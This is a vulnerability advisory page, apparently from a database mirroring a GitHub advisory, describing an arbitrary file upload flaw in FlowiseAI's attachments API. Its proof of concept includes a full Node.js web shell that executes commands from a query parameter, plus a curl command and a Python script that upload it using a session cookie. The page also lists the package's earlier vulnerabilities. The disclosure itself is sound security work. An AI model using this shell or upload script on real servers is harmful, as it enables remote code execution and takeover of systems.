High

FlowiseAI/Flosise has File Upload vulnerability

  • Disclosed: 08.10.2025
  • Updated: 11.10.2026 10:22

Summary

A file upload vulnerability in FlowiseAI allows authenticated users to upload arbitrary files without proper validation. This enables attackers to persistently store malicious Node.js web shells on the server, potentially leading to Remote Code Execution (RCE).

Details

The system fails to validate file extensions, MIME types, or file content during uploads. As a result, malicious scripts such as Node.js-based web shells can be uploaded and stored persistently on the server. These shells expose HTTP endpoints capable of executing arbitrary commands if triggered.

The uploaded shell does not automatically execute, but its presence allows future exploitation via administrator error or chained vulnerabilities.

Taint Flow

PoC

shell.js (Node.js Web Shell)

js
const { exec } = require('child_process');
const http = require('http');

const server = http.createServer((req, res) => {
    const url = new URL(req.url, 'http://localhost');
    const cmd = url.searchParams.get('cmd');

    if (cmd) {
        console.log(`Executing: ${cmd}`);
        exec(cmd, (error, stdout, stderr) => {
            res.writeHead(200, {'Content-Type': 'text/plain'});
            if (error) {
                res.end(`Error: ${error.message}\n${stderr || ''}`);
            } else {
                res.end(stdout || 'Command executed successfully');
            }
        });
    } else {
        res.writeHead(200, {'Content-Type': 'text/html'});
        res.end(`
            <h1>Node.js Web Shell</h1>
            <p>Use ?cmd=command to execute</p>
            <p>Example: ?cmd=id</p>
        `);
    }
});

const PORT = 8888;
server.listen(PORT, '0.0.0.0', () => {
    console.log(`Shell running on port ${PORT}`);
    console.log(`Access: http://localhost:${PORT}?cmd=id`);
});

curl Upload

bash
curl -X POST "http://localhost:3000/api/v1/attachments/0237eefc-18c5-46b2-8b3c-97aa516133fc/$(uuidgen)" \
  -H "Cookie: jwt=ppBk33uGXmJmoj8zIAGgHOP-oQfb2b8yds7XQfqyRl0" \
  -F "files=@shell.js;type=application/javascript"

Python Upload Script

python
import requests
import uuid

TARGET_URL = "http://localhost:3000"
CHATFLOW_ID = "0237eefc-18c5-46b2-8b3c-97aa516133fc"
TOKEN = "ppBk33uGXmJmoj8zIAGgHOP-oQfb2b8yds7XQfqyRl0"
CHAT_ID = str(uuid.uuid4())

def upload_shell():
    url = f"{TARGET_URL}/api/v1/attachments/{CHATFLOW_ID}/{CHAT_ID}"
    headers = {'Cookie': f'jwt={TOKEN}'}
    files = {'files': ('shell.js', open('shell.js', 'rb'), 'application/javascript')}
    r = requests.post(url, headers=headers, files=files)

    if r.status_code == 200:
        print("[✓] Upload success")
        print(r.text)
    else:
        print(f"[✗] Upload failed ({r.status_code})")
        print(r.text)

if __name__ == "__main__":
    upload_shell()
<img width="1900" height="981" alt="image" src="https://github.com/user-attachments/assets/e0d6a11e-445e-447c-a8f3-c0cb0b9ffb3f" />

Impact

An attacker can persistently upload and store malicious web shells on the server. If executed, this leads to Remote Code Execution (RCE). The risk increases if administrators unknowingly trigger the shell or if other vulnerabilities are chained to execute the file. This presents a high-severity threat to system integrity and confidentiality.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package flowise >= 3.0.7, < 3.0.8 3.0.8

References

CVSS score 8.3/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H
Weakness (CWE)
CWE-434
Platform
npm
Package
flowise
Disclosed
08.10.2025
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-35g6-rrw3-v6xc - CC BY 4.0

Vulnerability history: flowise

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (114) in the archive
Total entries
114
First → latest
04.2024 10.2026
Without a fix
16
Exploited in attacks
0

Severity breakdown

  • Critical 28
  • High 62
  • Medium 24

Disclosures per year

  1. 2024: 11
  2. 2025: 22
  3. 2026: 81
Severity:
  1. Critical CVE-2026-69259 < 3.1.3 3.1.3
  2. Critical CVE-2026-69256 < 3.1.3 3.1.3
  3. Critical CVE-2026-69253 < 3.1.3 3.1.3
  4. Critical CVE-2026-69251 < 3.1.3 3.1.3
  5. High · 8.8 CVE-2026-46444 < 3.1.2 3.1.2
  6. High CVE-2026-46443 < 3.1.2 3.1.2
  7. High CVE-2026-56274 < 3.1.2 3.1.2
  8. High · 7.5 CVE-2026-46440 < 3.1.2 3.1.2
  9. High · 9.8 CVE-2026-41276 < 3.1.0 3.1.0
  10. High CVE-2026-41274 < 3.1.0 3.1.0
  11. High · 7.5 CVE-2026-41275 < 3.1.0 3.1.0
  12. High · 7.1 CVE-2026-41271 < 3.1.0 3.1.0
  13. High · 7.1 CVE-2026-41272 < 3.1.0 3.1.0
  14. High · 7.1 CVE-2026-41269 < 3.1.0 3.1.0
  15. High · 7.7 CVE-2026-41268 < 3.1.0 3.1.0
  16. High · 7.5 CVE-2026-41266 < 3.1.0 3.1.0
  17. Critical · 8.8 CVE-2026-41137 < 3.1.0 3.1.0
  18. Critical · 9.9 CVE-2026-40933 < 3.1.0 3.1.0
  19. High CVE-2026-30824 < 3.0.13 3.0.13
  20. High · 7.7 CVE-2026-30822 < 3.0.13 3.0.13
  21. High CVE-2026-30821 < 3.0.13 3.0.13
  22. Critical · 9.9 CVE-2025-61913 < 3.0.8, < 3.0.8 3.0.8
  23. FlowiseAI/Flosise has File Upload vulnerability this entry
    High · 8.3 CVE-2025-61687 >= 3.0.7, < 3.0.8 3.0.8
  24. Critical · 9.8 CVE-2025-55346 <= 2.2.7-patch.1 no fix
  25. High CVE-2025-71336 >= 2.2.7-patch.1, < 3.0.6 3.0.6
  26. Critical · 9.8 CVE-2025-71334 >= 2.2.8, < 3.0.6 3.0.6
  27. Critical · 9.1 CVE-2025-71324 >= 3.0.5, < 3.0.6 3.0.6
  28. Critical · 10.0 CVE-2025-59528 >= 3.0.5, < 3.0.6 3.0.6
  29. High · 7.5 CVE-2025-59527 >= 3.0.5, < 3.0.6 3.0.6
  30. Critical · 9.1 CVE-2025-57164 >= 3.0.5, < 3.0.6 3.0.6
Show more (10) Showing 80 of 90

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.